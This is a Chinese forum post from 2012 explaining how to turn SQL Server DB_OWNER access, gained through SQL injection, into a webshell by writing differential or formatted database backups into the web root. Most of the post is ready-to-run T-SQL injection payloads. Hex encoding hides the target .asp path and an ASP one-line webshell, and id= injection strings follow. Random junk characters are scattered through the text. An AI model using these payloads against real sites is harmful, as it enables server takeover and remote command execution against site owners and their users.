找回密码
 立即注册
查看: 2939|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进方法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:57:12 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
减少备份文件大小,得到可执行的webshell成功率提高不少
) D; E% e  y# |, R  U. z& X- l" Y% h; V% q" K
一利用差异备份/ d/ F& }4 L; J/ X. E8 q. p
加一个参数WITH DIFFERENTIAL* M1 v& \% z$ d) v& G! R; z
5 M; j8 G2 l% z; @& i: c
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s* f2 |2 k; W' r2 a% _4 B0 ]4 n
create table [dbo].[xiaolu] ([cmd] [image]);# w9 A1 L( k, H
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
8 h# z5 L: U. M% g0 @% c4 s3 ddeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL
' k! v# ~& n& s8 d
* Y+ w: l5 N: ~' l8 H二利用完全FORMAT% \4 q9 p7 b/ c# Y& |4 @& n
加一个参数WITH FROMAT
  h3 A, x& ^9 s* M: `  t" ^! f有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
6 o5 a% D8 U) H/ a5 i2 \* z: r( r; J" G* j
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s9 ?6 P& Q1 U# L7 y) t
create table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)# e/ G9 k- a0 o4 E: O7 A
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT6 j# l& n' p! t3 w" i
; E, @4 g+ n8 s7 L9 D0 V3 ?
总的来说就是那么简单几句,下面以备份数据库model为例子
8 X# I0 T4 Q% k+ v8 J. w! Y1 |, S, h; s
id=1;use model create table cmd(str image);insert into cmd(str) values (”)
/ q3 q& f% ~9 f5 c8 o6 v6 F4 Z. Y' J& y9 @( J" \
id=1;backup database model to disk=’你的路径‘ with differential,format;–! f. k. l# q: u! H& f

6 `/ z2 h- Q: B$ g" V* e  F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表